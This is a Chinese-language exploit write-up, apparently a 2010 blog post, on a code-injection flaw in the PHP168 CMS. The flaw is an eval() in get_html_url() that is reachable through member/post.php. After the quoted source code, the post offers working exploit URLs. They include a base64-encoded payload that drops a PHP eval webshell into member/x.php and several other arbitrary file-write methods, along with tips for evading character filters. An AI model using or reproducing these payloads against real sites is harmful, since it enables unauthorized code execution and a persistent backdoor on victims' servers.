time:2010-09-11 14:24

author:Luc1f3r

blog:http://hi.baidu.com/luc1f3r

from:http://hi.baidu.com/luc1f3r%5F/blog/item/265cabcafe57be0d93457e39.html

    漏洞出在 inc/function.inc.php 里面 .get_html_url() 这个函数.

inc/function.inc.php:

function get_html_url(){
 global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
 $id=$aid;
 if($page<1){
  $page=1;
 }
 $postdb[posttime]=$rsdb[posttime];
 
 if($showHtml_Type[bencandy][$id]){
  $filename_b=$showHtml_Type[bencandy][$id];
 }elseif($fidDB[bencandy_html]){
  $filename_b=$fidDB[bencandy_html];
 }else{
  $filename_b=$webdb[bencandy_filename];
 }
 //对于内容页的首页把$page去除
 if($page==1){
  $filename_b=preg_replace("/(.*)(-{\\\$page}|_{\\\$page})(.*)/is","\\1\\3",$filename_b);
 }
 $dirid=floor($aid/1000);
 //对于内容页的栏目小于1000篇文章时,把DIR分目录去除
 if($dirid==0){
  $filename_b=preg_replace("/(.*)(-{\\\$dirid}|_{\\\$dirid})(.*)/is","\\1\\3",$filename_b);
 }
 if(strstr($filename_b,'$time_')){
  $time_Y=date("Y",$postdb[posttime]);
  $time_y=date("y",$postdb[posttime]);
  $time_m=date("m",$postdb[posttime]);
  $time_d=date("d",$postdb[posttime]);
  $time_W=date("W",$postdb[posttime]);
  $time_H=date("H",$postdb[posttime]);
  $time_i=date("i",$postdb[posttime]);
  $time_s=date("s",$postdb[posttime]);
 }
 if($fidDB[list_html]){
  $filename_l=$fidDB[list_html];
 }else{
  $filename_l=$webdb[list_filename];
 }
 if($page==1){
  if($webdb[DefaultIndexHtml]==1){
   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.html",$filename_l);
  }else{
   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.htm",$filename_l);
  }
 }
 eval("\$array[_showurl]=\"$filename_b\";");
 eval("\$array[_listurl]=\"$filename_l\";");
 //自定义了栏目域名
 if($Html_Type[domain][$fid]&&$Html_Type[domain_dir][$fid]){
  $rule=str_replace("/","\/",$Html_Type[domain_dir][$fid]);
  $filename_b=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_b);
  $filename_l=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_l);
  //特别处理一下些自定义内容页文件名的情况.
  if(!eregi("^http:\/\/",$filename_b)){
   $filename_b="$webdb[www_url]/$filename_b";
  }
 }else{
  $filename_b="$webdb[www_url]/$filename_b";
  $filename_l="$webdb[www_url]/$filename_l";
 }
 eval("\$array[showurl]=\"$filename_b\";");
 eval("\$array[listurl]=\"$filename_l\";");
 return $array;
}

    当 $showHtml_Type 这个数组存在时,赋值 $filename_b 为 $showHtml_Type[bencandy][$id]. 跟一下这个 get_html_url() 函数.

    在member/post.php中:

member/post.php:

if(!$aid&&!$rid){
 $aid=$id;
}
if($rid)
{
 if(!$aid){
  showerr("aid不存在!");
 }
 $erp=get_id_table($aid);
 //修改主题或修改多页都可
 $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE R.rid='$rid'");
 $aid=$rsdb[aid];
 $fid=$rsdb[fid];
 $mid=$rsdb[mid];
}
elseif($aid)
{
 $erp=get_id_table($aid);
 //只能是修改主题/续发文章
 $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid='$aid' ORDER BY R.rid ASC LIMIT 1");
 isset($fid) || $fid=$rsdb[fid];
 $mid=$rsdb[mid];
}
//让用户选择栏目
if((!$fid&&!$only)||$jobs=="choose")
{
 $sortdb=array();
 if( $webdb[sortNUM]>500||$fid ){
  $rows=100;
  $page<1 && $page=1;
  $min=($page-1)*$rows;
  $showpage=getpage("{$pre}sort","WHERE fup='$fid'","?lfj=$lfj&job=$job&jobs=$jobs&only=$only&mid=$mid&fid=$fid",$rows);
  $query = $db->query("SELECT * FROM {$pre}sort WHERE fup='$fid' ORDER BY list DESC,fid ASC LIMIT $min,$rows");
  while($rs = $db->fetch_array($query)){
   $rs[post]=$rs[NUM]=$rs[do_art]='';
   $detail_admin=@explode(",",$rs[admin]);
   $detail_allowpost=@explode(",",$rs[allowpost]);
   if(!$rs[type]&&( $web_admin||($lfjid&&@in_array($lfjid,$detail_admin))||@in_array($groupdb['gid'],$detail_allowpost) ))
   {
    $erp=$Fid_db[iftable][$rs[fid]];
    $_rs=$db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]' AND uid='$lfjuid'");
    if($_rs[NUM]&&$lfjid){
     $rs[NUM]="( <b>{$_rs[NUM]}</b> )";
     $rs[do_art]="<A HREF='myarticle.php?job=myarticle&fid=$rs[fid]' class='manage_article'>管理</A>";
    }
    $rs[post]="<A HREF='?job=postnew&fid=$rs[fid]' class='post_article'>发表</A>";
    $allowpost++;
   }
   $sortdb[]=$rs;
  }
  if($fid){
   $show_guide="<A HREF='?lfj=$lfj&jobs=$jobs&job=$job&only=$only&mid=$mid'>返回顶级目录</A> ".list_sort_guide($fid);
  }
 }else{ 
  list_post_allsort();
  if(!$allowpost){
   showerr("你所在用户组无权发表文章",1);
  }
 }
 $MSG="请选择一个栏目投稿";
 require(dirname(__FILE__)."/"."head.php");
 require(dirname(__FILE__)."/"."template/post_set.htm");
 require(dirname(__FILE__)."/"."foot.php");
 exit;
}
if($fid||$step){
 $fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
 !$fidDB && showerr("栏目有误");
 $fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
}
$job=='postnew' && !$mid && $mid=$fidDB[fmid];
if($lfjid&&@in_array($lfjid,explode(',',$fidDB[admin])))
{
 $web_admin=1;
}
if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
{
 showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
}
if(!$lfjid&&$job!='postnew')
{
 showerr("游客无权操作");
}
$atc_power=0;
if($lfjid)
{
 if($web_admin||$lfjuid==$rsdb[uid]){
  $atc_power=1;
 }
}
$uid=isset($rsdb[uid])?$rsdb[uid]:$lfjuid;
if($job=='endHTML')

{

$htmlurldb=get_html_url();

//首页生成静态

@unlink(PHP168_PATH."index.htm.bak");

rename(PHP168_PATH."index.htm",PHP168_PATH."index.htm.bak");

refreshto("myarticle.php?job=myarticle&mid=$mid&only=$only","<CENTER>[<A HREF='?job=postnew&fid=$fid&mid=$mid&only=$only'>发表新主题</A>] [<A HREF='?job=post_more&aid=$aid&mid=$mid&only=$only'>续发本主题</A>] [<A HREF='myarticle.php?job=myarticle&fid=$fid&mid=$mid&only=$only'>返回文章列表</A>] [<A HREF='{$htmlurldb[showurl]}' target=_blank>查看文章</A>] [<A HREF='?job=manage&aid=$aid&mid=$mid&only=$only'>修改文章</A>]</CENTER>",60);

}

    当only或者fid不等于0时,且job等于"endHTML"时,执行函数.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.

    先注册一个会员,登陆后在地址栏提交:

http://URL/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML

    可以看到执行了phpinfo().

------------------------------------------ ↓ 漏洞利用 ↓ ----------------------------------------

Nuclear'Atk 改良 EXP,强烈推荐使用:

示例:

    http://www.XXXX.com/member/post.php?only=1&aid=1&job=endHTML&showHtml_Type[bencandy][1]={${fwrite(fopen(base64_decode('eC5waHAg'),'w'),base64_decode('PD9waHBpbmZvKCk7Pz4g')) and print('ok')}}

    生成:http://www.XXXX.com/member/x.php,内容为:<?phpinfo();?> ,同时在当前页面输出:ok。
 
Exp:

    http://www.XXXX.com/member/post.php?only=1&aid=1&job=endHTML&showHtml_Type[bencandy][1]={${fwrite(fopen(base64_decode('eC5waHAg'),'w'),base64_decode('PD9AZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g')) and print('ok')}}

    直接在该目录生成个PHP一句话木马,路径为:http://www.XXXX.com/member/x.php,内容为:<?@eval($_POST['pass']);?> ,同时在当前页面输出:ok。

注意:

    这个漏洞利用要注意,注意一定要登陆进去再操作,同时语句不能含有叹号(!)、等号(=)、除号(/)等字符!!!所以使用 Base64 编码的时候要注意凑字数!!

------------------------------------------ ↓ 其他人的 ↓ ----------------------------------------

    貌似只能执行phpinfo,eval被过滤了,可以fputs(fopen()).

    一个朋友发来这个漏洞,说是不好利用,漏洞描述给出的例子phpinfo()简直是糊弄人的。

    我看了下漏洞的代码,试了下,如下方法可以利用,在魔术引号开了的情况下也可以。

    我试出两种方式:

方法一:

http://www.XXXX.com/member/post.php?only=1&showHtml_Type[bencandy][1]={${$ppp = fopen('xixi.php','w') and fwrite($ppp,'test') and print('111') and ($filename_b = stripcslashes($filename_b))}}&aid=1&job=endHTML

这种会执行两次,第二次会成功。

生成:http://www.XXXX.com/member/xixi.php,内容为:test,同时在当前页面输出:111。

方法二:

http://www.XXXX.com/member/post.php?only=1&showHtml_Type[bencandy][1]={${$ppp = fopen(stripcslashes($_GET[path]),'w') and fwrite($ppp,'hello') and print('111') and ($filename_b = stripcslashes(null))}}&aid=1&job=endHTML&path=./../index1.php

这种只执行一次,不过自己得多写个参数。

生成:http://www.XXXX.com/index1.php,内容为:hello,同时在当前页面输出:111。